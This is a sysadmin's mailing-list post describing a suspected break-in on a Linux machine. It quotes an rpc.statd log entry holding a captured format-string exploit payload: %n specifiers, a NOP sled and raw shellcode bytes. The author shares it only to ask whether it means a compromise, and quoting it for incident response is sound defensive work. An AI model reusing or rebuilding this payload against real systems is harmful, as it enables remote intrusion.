[techtalk] Compromise, perhaps?

[Brian Sweeney]

Hey all-

The other day whilst I was on vacation, another sys admin noticed that
check-packages on a machine had been altered, and on that day a login via
telnet from an unknown ip was detected.  This made him worry, so I checked
it out today, and found this in the logs:

rpc.statd[341]: gethostbyname error for
^X<F7><FF><BF>^X<F7><FF><BF>^Y<F7><FF><BF>^Y<F7><FF><BF>
^Z<F7><FF><BF>^Z<F7><FF><BF>^[<F7><FF><BF>^[<F7><FF><BF>%8x%8x%8x%8x%8x%8x%8
x%8x%8x%236x%n%137x%n%10x%n%192x%n<90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90>
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<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>1<C0><EB>|Y<
89>A^P<89>A^H<FE><C0><89>A^D<89><C3><FE><C0><89>^A<B0>f
<CD><80><B3>^B<89>Y^L<C6>A^N<99><C6>A^H^P<89>I^D<80>A^D^L<88>^A<B0>f<CD><80>
<B3>^D<B0>f<CD><80><B3>^E0<C0><88>A^D<B0>f<CD><80><89>
<CE><88><C3>1<C9><B0>?<CD>

This seems to be evidence of a hack of rpc.statd; some kind of buffer
overflow, maybe?  Indeed, I know rpc.statd has holes, but we're supposedly
running the latest "secure" version.

The weird thing is, this shows up occasionally in the logs as far back as
they go (~1 month).

A quick nmap showed the machine doesn't seem to have strange ports open, and
one of the other sysadmins replaced the bash binary while I was gone.

So, I think it's been hacked, but I can't tell how long and/or to what
extent.  I guess I'm just wondering if anyone's ever seen the above error
from statd without it being related to a hack.  I also can't figure out why
if it has been compromised for so long they only changed the binary this
week.

Hmmmm...

Anyway, I will be taking it off the network till I can look more closely.
Man, I have to do this way to often around here :(.

-Brian

-----------------------------------------
Brian Sweeney
bsweeney at physics.ucsb.edu

"The life expectancy of an unpatched, default installation of Red Hat 6.2
server is three days. The last time we attempted to confirm this, the system
was compromised in eight hours."
-The Honeynet Project